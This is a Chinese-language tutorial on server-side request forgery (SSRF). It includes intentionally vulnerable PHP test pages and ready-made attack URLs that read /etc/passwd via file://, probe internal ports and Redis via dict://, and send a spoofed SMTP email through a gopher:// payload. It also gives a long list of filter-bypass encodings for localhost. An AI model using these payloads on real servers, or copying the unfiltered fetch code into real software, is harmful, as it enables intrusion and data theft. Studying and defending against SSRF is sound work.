0x01: 漏洞描述
SSRF ( server-site request forery 服务端请求伪造)是一种构造请求,有服务端发起的安全请求漏洞。
很多web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,web 应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意利用,可以利用存在缺陷的web 应用作为代理攻击远程和本地的服务器。
服务端请求伪造 (Server-Side Request Forgery)。
由攻击者构造带有攻击的请求传给服务器执行造成的漏洞。
一般是使用它在外网探测数据或是攻击内网服务。
0x02 SSRF 漏洞原理
SSRF 漏洞形成原因,服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤和限制。
0x03 SSRF 漏洞作用
- 内网ip/端口扫描
- 服务器敏感数据读取
- 内网主机应用程序漏洞利用
- 内网web站点漏洞利用
0x04 SSRF漏洞的常见的位置
- 社交分享功能:获取超链接的标题等内容进行显示。
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片。
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验。
- 开发平台接口测试工具:一些公司会把自己的一些接口开放出来,形成第三方接口。这个时候他们通常会开发一个用于测试自己接口是否连通的web,给这些程序员测试接口,如果没有过滤好,就会造成ssrf。

0x05 相关函数
- file_get_contents()
- fsockopen()
- curl_exec()
以上三个函数使用不当会造成SSRF漏洞
需要注意的是:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
- curl_exec() //默认不跟踪跳转
- file_get_contents() // file_get_contents支持php://input协议
0x06 SSRF 漏洞基本利用
curl_exec
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?phpfunction curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);}$url = $_GET['url'];curl($url);
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd# 利用dict探测端口# 开启访问的端口时会返回很快,如果没开启就会延迟一下访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:6379/info# 使用http协议探测端口# 开启访问的端口时会返回很快,如果没开启就会延迟一下访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80
file_get_contents
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?php$url = $_GET['url'];;echo file_get_contents($url);
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
fsockopen
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?php$host=$_GET['url'];$fp = fsockopen("$host", 80, $errno, $errstr, 30);if (!$fp) {echo "$errstr ($errno)<br />\n";} else {$out = "GET / HTTP/1.1\r\n";$out .= "Host: $host\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);}?>
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
0x07 SSRF中环境支持的协议类型
http / httpsDICT://team.com:22file:///etc/passwdGopher万能协议(利用Gopher攻击Redis、攻击FastcgiFTP(S)/SMB(S)匿名访问及爆破Tftp :UDP协议 发送UDP数据包Telnet SSH/Telnet匿名访问及爆破

0x08 基本绕过方法
攻击本地
http://127.0.0.1:80http://localhost:22
利用[::]
利用[::]绕过localhosthttp://[::]:80/ >>> http://127.0.0.1
利用@
http://example.com@127.0.0.1
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
利用DNS解析
在域名上设置A记录,指向127.0.1
购买一个域名例如我购买了一个 phpoop.com 这个域名
我把 www.phpoop.com 指向127.0.1
利用特殊域名
利用的原理是DNS解析
利用的原理是DNS解析http://127.0.0.1.xip.io/http://www.owasp.org.127.0.0.1.xip.io/
利用上传
也不一定是上传,我也说不清,自己体会 -.-
修改”type=file”为”type=url”
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
利用Enclosed alphanumerics
利用Enclosed alphanumericsⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.comList:① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
利用句号
127。0。0。1 >>> 127.0.0.1
利用进制转换
可以是十六进制,八进制等。115.239.210.26 >>> 16373751032首先把这四段数字给分别转成16进制,结果:73 ef d2 1a然后把 73efd21a 这十六进制一起转换成8进制记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0xhttp://127.0.0.1 >>> http://0177.0.0.1/http://127.0.0.1 >>> http://2130706433/http://192.168.0.1 >>> http://3232235521/http://192.168.1.1 >>> http://3232235777/
利用特殊地址
http://0/
利用协议
Dict://dict://<user-auth>@<host>:<port>/d:<word>ssrf.php?url=dict://attacker:11111/SFTP://ssrf.php?url=sftp://example.com:11111/TFTP://ssrf.php?url=tftp://example.com:12346/TESTUDPPACKETLDAP://ssrf.php?url=ldap://localhost:11211/%0astats%0aquitGopher://ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
